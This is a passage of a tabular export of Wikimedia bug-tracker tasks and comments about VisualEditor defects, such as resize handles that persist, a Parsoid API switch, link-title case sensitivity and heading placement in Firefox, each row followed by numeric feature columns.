Ia97b6e3d862e02f5c55cac3f490fd8f26052027a),,,1369150090,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7d3wwwbypeipgqn42o5c,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ia97b6e3d862e02f5c55cac3f490fd8f26052027a)
50530,VisualEditor: Image resize handles persist on close,"If the image has focus when you click back on the 'Read' tab, the four circles stay on the page.

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1368698040,1369454138.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-2nyantno3ds7ohrifauv,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5238095238095237,0.6666666666666666,"If the image has focus when you click back on the 'Read' tab, the four circles stay on the page.

--------------------------
**Version**: unspecified
**Severity**: minor"
229245,VisualEditor: Image resize handles persist on close,Merged and will go out with wmf5.,,,1369454138,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2nyantno3ds7ohrifauv,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Merged and will go out with wmf5.
229239,VisualEditor: Image resize handles persist on close,Related URL: https://gerrit.wikimedia.org/r/64917 (Gerrit Change I807a0f32d3d1eb490456d887f7bf867bdb896df4),,,1369220160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2nyantno3ds7ohrifauv,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I807a0f32d3d1eb490456d887f7bf867bdb896df4)
50524,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,"Once it exists being the relevant part. :-)

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1368662820,1397867827.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_description,resolved,True,c1,1,True,False,False,-7,,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.6666666666666666,"Once it exists being the relevant part. :-)

--------------------------
**Version**: unspecified
**Severity**: normal"
228892,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,"Change 127362 merged by jenkins-bot:
Use Parsoid API for action=parsefragment

https://gerrit.wikimedia.org/r/127362",,,1397866425,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 127362 merged by jenkins-bot:
Use Parsoid API for action=parsefragment

GERRIT_URL"
228888,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,"Change 127362 had a related patch set uploaded by Esanders:
Use Parsoid API for action=parsefragment

https://gerrit.wikimedia.org/r/127362",,,1397852463,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,"Change 127362 had a related patch set uploaded by Esanders:
Use Parsoid API for action=parsefragment

GERRIT_URL"
228884,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,Does the API actually exist yet?,,,1397845488,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,Does the API actually exist yet?
228879,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,This should be done sooner rather than later.,,,1394493707,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.222222222222222,1.0,This should be done sooner rather than later.
228874,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,*** Bug 62516 has been marked as a duplicate of this bug. ***,,,1394493657,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 62516 has been marked as a duplicate of this bug. ***
228868,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,https://www.mediawiki.org/wiki/Parsoid#The_Parsoid_web_API has the API docs.,,,1386358351,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,1.0,URL has the API docs.
228861,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,More detail please?,,,1386336562,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,4.25,1.0,More detail please?
228853,VisualEditor: Switch document re-renderer from action=parse over to Parsoid API now it exists,Not going to make beta at this rate.,,,1371780475,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nu3747gtrfgcnn6ifzlx,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.2222222222222223,1.0,Not going to make beta at this rate.
50520,VisualEditor: Switching back to 'Read' tab before 'Edit' tab has loaded throws an exception,"In ve.init.mw.ViewPageTarget.prototype.tearDownToolbar, this.toolbar is undefined if the editor hasn't finished loading.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1368653280,1368885093.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-f3bksoxide4n4n2plcfg,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.352941176470588,0.7058823529411765,"In ve.init.mw.ViewPageTarget.prototype.tearDownToolbar, this.toolbar is undefined if the editor hasn't finished loading.

--------------------------
**Version**: unspecified
**Severity**: normal"
228672,VisualEditor: Switching back to 'Read' tab before 'Edit' tab has loaded throws an exception,Merged; will go out with wmf5.,,,1368885093,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f3bksoxide4n4n2plcfg,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,Merged; will go out with wmf5.
228665,VisualEditor: Switching back to 'Read' tab before 'Edit' tab has loaded throws an exception,Related URL: https://gerrit.wikimedia.org/r/64333 (Gerrit Change Ide5def0e983bab49108b40008fc170957c7fc2a2),,,1368809326,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f3bksoxide4n4n2plcfg,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ide5def0e983bab49108b40008fc170957c7fc2a2)
228658,VisualEditor: Switching back to 'Read' tab before 'Edit' tab has loaded throws an exception,"Actually, this is distinct.",,,1368655857,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f3bksoxide4n4n2plcfg,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Actually, this is distinct."
228653,VisualEditor: Switching back to 'Read' tab before 'Edit' tab has loaded throws an exception,"

*** This bug has been marked as a duplicate of bug 47813 ***",,,1368654670,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f3bksoxide4n4n2plcfg,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 47813 ***"
50476,VisualEditor: MWLinkTargetInputWidget should grok case sensitivity of suggested page title vs. the inputed text,"Screenshot of problem

Scenario:
* Document contains "" ... esams ... ""
* Wiki has a page called ""Esams"".
* Wiki does not have case-sensitive first character in the main namespace.
* Select ""esams"" and turn it into a link
* UI shows:
  [ esams            ]
  New page:
    <redlink> esams
  Matching page:
    Esams
    Esams cluster
    Esams patches

That first redlink is incorrect, it should show the same as when the input is ""Esams"" (with capital E), namely no ""redlink"" since the first match is in fact the input.

It needs to account for the $wgCapitalLinkOverrides and $wgCapitalLinkOverrides configuration etc. This is abstracted in PHP by MWNamespace::isCapitalized, which is exposed in javascript as 'wgCaseSensitiveNamespaces' in mw.config.

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F10838}",High,80.0,1368573360,1369183085.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-ukhmjz446wmy32ws4rzz,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,1.0,0.5,5.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,8.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,2.0,0.5,0.5,0.0,0.0,0.0,12.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.0,2.5,12.5,1.5,1.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,1.5,8.0,8.0,0.0,6.0,0.0,1.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.5,3.953863381858903,0.6084546472564389,"Screenshot of problem

Scenario:
* Document contains "" ... esams ... ""
* Wiki has a page called ""Esams"".
* Wiki does not have case-sensitive first character in the main namespace.
* Select ""esams"" and turn it into a link
* UI shows:
  [ esams            ]
  New page:
    <redlink> esams
  Matching page:
    Esams
    Esams cluster
    Esams patches

That first redlink is incorrect, it should show the same as when the input is ""Esams"" (with capital E), namely no ""redlink"" since the first match is in fact the input.

It needs to account for the $wgCapitalLinkOverrides and $wgCapitalLinkOverrides configuration etc. This is abstracted in PHP by MWNamespace::isCapitalized, which is exposed in javascript as 'wgCaseSensitiveNamespaces' in mw.config.

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F10838}"
225603,VisualEditor: MWLinkTargetInputWidget should grok case sensitivity of suggested page title vs. the inputed text,Related URL: https://gerrit.wikimedia.org/r/64867 (Gerrit Change I66f5fc56554984af58d6223dc6cd76b3ab9940bd),,,1369174848,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ukhmjz446wmy32ws4rzz,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I66f5fc56554984af58d6223dc6cd76b3ab9940bd)
225595,VisualEditor: MWLinkTargetInputWidget should grok case sensitivity of suggested page title vs. the inputed text,"Basically any normalisation causes this bug.

also things like user:krinkle -> User:Krinkle, and localized namespaces and alias namespaces (Image>File).",,,1369174621,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ukhmjz446wmy32ws4rzz,task_subcomment,,True,c1,1,True,,,-6,,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.21875,0.84375,"Basically any normalisation causes this bug.

also things like user:krinkle -> User:Krinkle, and localized namespaces and alias namespaces (Image>File)."
225590,VisualEditor: MWLinkTargetInputWidget should grok case sensitivity of suggested page title vs. the inputed text,*** Bug 48433 has been marked as a duplicate of this bug. ***,,,1368720868,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ukhmjz446wmy32ws4rzz,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48433 has been marked as a duplicate of this bug. ***
50464,VisualEditor: Heading on a slug is created on the wrong line in Firefox,"1 Go to a page with several paragraphs. Edit with VisualEditor.

2. Place cursor at the end of paragraph N and press Enter to create a new line. See the cursor blinking in a new line after paragraph N.

3. Select ""Heading 2"" in the dropdown menu.

EXPECTED

A Heading 2 line appears at the end of paragraph N.


ACTUAL OUTCOME

A Heading 2 line appears at the end of paragraph N-1.


As a matter of fact I find no way to place the header where I want, unless going to the end of paragraph N+1 only to trick the bug. Selecting an existing line and trying to make a header out of it doesn't seem to work either (but this is probably a different bug).

Happens at least in mediawiki.org with Firefox 22.0a2 (2013-05-07).

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1368554100,1372371426.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-frnef4dwspf2gymmanpq,task_description,resolved,True,c1,1,False,False,True,-7,,0.5,0.0,0.0,0.0,0.5,5.0,0.5,0.0,0.0,0.5,2.0,0.5,0.0,0.5,0.0,1.0,0.0,2.5,14.0,0.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,3.5,1.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,9.0,0.5,14.5,1.0,1.5,10.0,0.0,0.0,0.0,0.0,4.5,0.0,3.5,0.0,1.5,14.0,6.0,0.0,1.0,0.0,1.5,0.0,0.5,4.5,0.0,3.0,0.0,0.5,1.5,3.623148590539895,0.6125776397515528,"1 Go to a page with several paragraphs. Edit with VisualEditor.

2. Place cursor at the end of paragraph N and press Enter to create a new line. See the cursor blinking in a new line after paragraph N.

3. Select ""Heading 2"" in the dropdown menu.

EXPECTED

A Heading 2 line appears at the end of paragraph N.


ACTUAL OUTCOME

A Heading 2 line appears at the end of paragraph N-1.


As a matter of fact I find no way to place the header where I want, unless going to the end of paragraph N+1 only to trick the bug. Selecting an existing line and trying to make a header out of it doesn't seem to work either (but this is probably a different bug).

Happens at least in mediawiki.org with Firefox 22.0a2 (2013-05-07).

--------------------------
**Version**: unspecified
**Severity**: normal"
225003,VisualEditor: Heading on a slug is created on the wrong line in Firefox,"(In reply to comment #2)
> Yes, this works now. Thank you!
> 
> Just a little usability detail: after selecting the type of heading there is
> no
> cursor blinking. You can type and characters will appear where expected, but
> of
> course our old friend cursor-blinking is missed.

